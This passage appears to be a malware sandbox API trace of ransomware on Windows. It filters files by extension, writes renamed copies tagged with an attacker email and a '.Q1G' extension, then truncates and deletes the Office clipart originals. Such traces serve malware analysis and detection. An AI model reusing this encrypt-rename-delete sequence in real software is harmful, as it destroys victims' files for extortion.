[0248.233] lstrlenW (lpString=".docx") returned 5 [0248.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.233] lstrlenW (lpString=".pdf") returned 4 [0248.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString=".xls") returned 4 [0248.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.233] lstrlenW (lpString=".xlsx") returned 5 [0248.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.233] lstrlenW (lpString=".ppt") returned 4 [0248.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString=".zip") returned 4 [0248.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.234] lstrlenW (lpString=".rar") returned 4 [0248.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.234] lstrlenW (lpString=".bz2") returned 4 [0248.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.234] lstrlenW (lpString=".7z") returned 3 [0248.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.234] lstrlenW (lpString=".dbf") returned 4 [0248.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.234] lstrlenW (lpString=".1cd") returned 4 [0248.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.234] lstrlenW (lpString=".jpg") returned 4 [0248.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.234] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.234] lstrlenW (lpString="DD01169_.WMF") returned 12 [0248.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.542] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2020) returned 1 [0248.542] CloseHandle (hObject=0x3ac) returned 1 [0248.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0248.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.722] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.722] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0248.722] GetLastError () returned 0x0 [0248.722] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7e4, lpOverlapped=0x0) returned 1 [0248.759] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0248.760] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.760] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.760] SetEndOfFile (hFile=0x204) returned 1 [0248.760] CloseHandle (hObject=0x204) returned 1 [0248.760] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.760] SetEndOfFile (hFile=0x3b0) returned 1 [0248.762] CloseHandle (hObject=0x3b0) returned 1 [0248.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0248.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.763] lstrlenW (lpString=".doc") returned 4 [0248.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.763] lstrlenW (lpString=".docx") returned 5 [0248.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.763] lstrlenW (lpString=".pdf") returned 4 [0248.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.763] lstrlenW (lpString=".xls") returned 4 [0248.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.763] lstrlenW (lpString=".xlsx") returned 5 [0248.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.763] lstrlenW (lpString=".ppt") returned 4 [0248.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString=".zip") returned 4 [0248.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.764] lstrlenW (lpString=".rar") returned 4 [0248.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString=".bz2") returned 4 [0248.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString=".7z") returned 3 [0248.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString=".dbf") returned 4 [0248.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString=".1cd") returned 4 [0248.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString=".jpg") returned 4 [0248.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString=".doc") returned 4 [0248.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString=".docx") returned 5 [0248.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.764] lstrlenW (lpString=".pdf") returned 4 [0248.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString=".xls") returned 4 [0248.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.764] lstrlenW (lpString=".xlsx") returned 5 [0248.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.764] lstrlenW (lpString=".ppt") returned 4 [0248.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.764] lstrlenW (lpString=".zip") returned 4 [0248.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.764] lstrlenW (lpString=".rar") returned 4 [0248.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.764] lstrlenW (lpString=".bz2") returned 4 [0248.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.765] lstrlenW (lpString=".7z") returned 3 [0248.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.765] lstrlenW (lpString=".dbf") returned 4 [0248.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.765] lstrlenW (lpString=".1cd") returned 4 [0248.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0248.765] lstrlenW (lpString=".jpg") returned 4 [0248.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.765] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.765] lstrlenW (lpString="DD01772_.WMF") returned 12 [0248.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.418] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2300) returned 1 [0249.418] CloseHandle (hObject=0x398) returned 1 [0249.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0249.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.419] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.419] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.419] GetLastError () returned 0x0 [0249.419] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0249.421] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x900, lpOverlapped=0x0) returned 1 [0249.421] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.421] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.422] SetEndOfFile (hFile=0x3a8) returned 1 [0249.422] CloseHandle (hObject=0x3a8) returned 1 [0249.422] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.422] SetEndOfFile (hFile=0x398) returned 1 [0249.424] CloseHandle (hObject=0x398) returned 1 [0249.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0249.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.425] lstrlenW (lpString=".doc") returned 4 [0249.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.425] lstrlenW (lpString=".docx") returned 5 [0249.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.425] lstrlenW (lpString=".pdf") returned 4 [0249.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.425] lstrlenW (lpString=".xls") returned 4 [0249.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.425] lstrlenW (lpString=".xlsx") returned 5 [0249.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.425] lstrlenW (lpString=".ppt") returned 4 [0249.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString=".zip") returned 4 [0249.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.426] lstrlenW (lpString=".rar") returned 4 [0249.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString=".bz2") returned 4 [0249.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString=".7z") returned 3 [0249.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString=".dbf") returned 4 [0249.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString=".1cd") returned 4 [0249.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString=".jpg") returned 4 [0249.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString=".doc") returned 4 [0249.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString=".docx") returned 5 [0249.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.426] lstrlenW (lpString=".pdf") returned 4 [0249.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString=".xls") returned 4 [0249.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.426] lstrlenW (lpString=".xlsx") returned 5 [0249.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.426] lstrlenW (lpString=".ppt") returned 4 [0249.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.426] lstrlenW (lpString=".zip") returned 4 [0249.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.426] lstrlenW (lpString=".rar") returned 4 [0249.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.427] lstrlenW (lpString=".bz2") returned 4 [0249.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.427] lstrlenW (lpString=".7z") returned 3 [0249.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.427] lstrlenW (lpString=".dbf") returned 4 [0249.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.427] lstrlenW (lpString=".1cd") returned 4 [0249.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0249.427] lstrlenW (lpString=".jpg") returned 4 [0249.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.427] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.427] lstrlenW (lpString="FD00076_.WMF") returned 12 [0249.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.428] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=11994) returned 1 [0249.428] CloseHandle (hObject=0x398) returned 1 [0249.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0249.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.428] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.428] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.429] GetLastError () returned 0x0 [0249.429] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2eda, lpOverlapped=0x0) returned 1 [0249.431] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0249.435] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.435] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.435] SetEndOfFile (hFile=0x3a8) returned 1 [0249.435] CloseHandle (hObject=0x3a8) returned 1 [0249.435] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.435] SetEndOfFile (hFile=0x398) returned 1 [0249.437] CloseHandle (hObject=0x398) returned 1 [0249.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0249.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.438] lstrlenW (lpString=".doc") returned 4 [0249.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.438] lstrlenW (lpString=".docx") returned 5 [0249.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.438] lstrlenW (lpString=".pdf") returned 4 [0249.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.438] lstrlenW (lpString=".xls") returned 4 [0249.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.438] lstrlenW (lpString=".xlsx") returned 5 [0249.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.439] lstrlenW (lpString=".ppt") returned 4 [0249.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString=".zip") returned 4 [0249.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.439] lstrlenW (lpString=".rar") returned 4 [0249.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString=".bz2") returned 4 [0249.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString=".7z") returned 3 [0249.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString=".dbf") returned 4 [0249.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString=".1cd") returned 4 [0249.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString=".jpg") returned 4 [0249.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString=".doc") returned 4 [0249.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString=".docx") returned 5 [0249.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.439] lstrlenW (lpString=".pdf") returned 4 [0249.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString=".xls") returned 4 [0249.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.439] lstrlenW (lpString=".xlsx") returned 5 [0249.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.439] lstrlenW (lpString=".ppt") returned 4 [0249.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.439] lstrlenW (lpString="C:\\Program Files\\Microsoft 